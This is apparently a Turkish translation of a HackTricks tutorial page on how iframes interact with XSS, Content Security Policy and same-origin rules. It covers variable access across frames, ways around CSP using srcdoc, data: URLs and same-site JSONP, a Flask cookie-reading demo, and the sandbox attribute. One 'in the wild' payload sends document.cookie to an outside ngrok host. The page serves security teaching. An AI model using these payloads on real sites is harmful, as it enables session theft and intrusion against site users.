Iframes in XSS, CSP and SOP

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Iframes in XSS

Bir iframed sayfanın içeriğini belirtmenin 3 yolu vardır:

  • Bir URL belirten src aracılığıyla (URL, çapraz köken veya aynı köken olabilir)
  • data: protokolünü kullanarak içeriği belirten src aracılığıyla
  • İçeriği belirten srcdoc aracılığıyla

Ana ve Çocuk değişkenlerine Erişim

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Eğer önceki html'ye bir http sunucusu (örneğin python3 -m http.server) aracılığıyla erişirseniz, tüm scriptlerin çalıştırılacağını göreceksiniz (çünkü bunu engelleyen bir CSP yok). Ana sayfa, herhangi bir iframe içindeki secret değişkenine erişemeyecek ve sadece if2 ve if3 iframe'leri (aynı site olarak kabul edilen) orijinal penceredeki secret'a erişebilir.
if4'ün null kökenine sahip olduğu not edilmelidir.

CSP ile Iframe'ler

note

Lütfen, aşağıdaki bypass'lerde iframe'li sayfaya verilen yanıtın JS yürütümünü engelleyen herhangi bir CSP başlığı içermediğini not edin.

script-src'nin self değeri, data: protokolü veya srcdoc niteliğini kullanarak JS kodunun yürütülmesine izin vermeyecektir.
Ancak, CSP'nin none değeri bile, src niteliğinde bir URL (tam veya sadece yol) koyan iframe'lerin yürütülmesine izin verecektir.
Bu nedenle, bir sayfanın CSP'sini aşmak mümkündür:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Not edin ki önceki CSP yalnızca inline script'in çalışmasına izin veriyor.
Ancak, yalnızca if1 ve if2 script'leri çalıştırılacak, ancak yalnızca if1 ana gizli veriye erişebilecek.

Bu nedenle, eğer bir JS dosyasını sunucuya yükleyip iframe aracılığıyla yükleyebiliyorsanız CSP'yi atlatmak mümkündür, hatta script-src 'none' ile bile. Bu, potansiyel olarak aynı site JSONP uç noktasını kötüye kullanarak da yapılabilir.

Bunu, script-src 'none' ile bile bir çerezin çalındığı aşağıdaki senaryo ile test edebilirsiniz. Uygulamayı çalıştırın ve tarayıcınızla erişin:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Diğer Yükler doğal ortamda bulundu

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Iframe içindeki içerik, sandbox niteliği kullanılarak ek kısıtlamalara tabi tutulabilir. Varsayılan olarak, bu nitelik uygulanmaz, yani hiçbir kısıtlama yoktur.

Kullanıldığında, sandbox niteliği birkaç sınırlama getirir:

  • İçerik, sanki benzersiz bir kaynaktan geliyormuş gibi muamele görür.
  • Formları göndermeye yönelik herhangi bir girişim engellenir.
  • Scriptlerin çalıştırılması yasaktır.
  • Belirli API'lere erişim devre dışı bırakılır.
  • Bağlantıların diğer tarayıcı bağlamlarıyla etkileşimde bulunması engellenir.
  • <embed>, <object>, <applet> veya benzeri etiketler aracılığıyla eklentilerin kullanımı yasaktır.
  • İçeriğin kendisi tarafından üst düzey tarayıcı bağlamına navigasyon engellenir.
  • Video oynatma veya form kontrollerinin otomatik odaklanması gibi otomatik olarak tetiklenen özellikler engellenir.

Nitelik değeri, yukarıda belirtilen tüm kısıtlamaları uygulamak için boş bırakılabilir (sandbox=""). Alternatif olarak, iframe'i belirli kısıtlamalardan muaf tutan, boşlukla ayrılmış belirli değerlerin bir listesi olarak ayarlanabilir.

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

SOP'de Iframe'ler

Aşağıdaki sayfaları kontrol edin:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin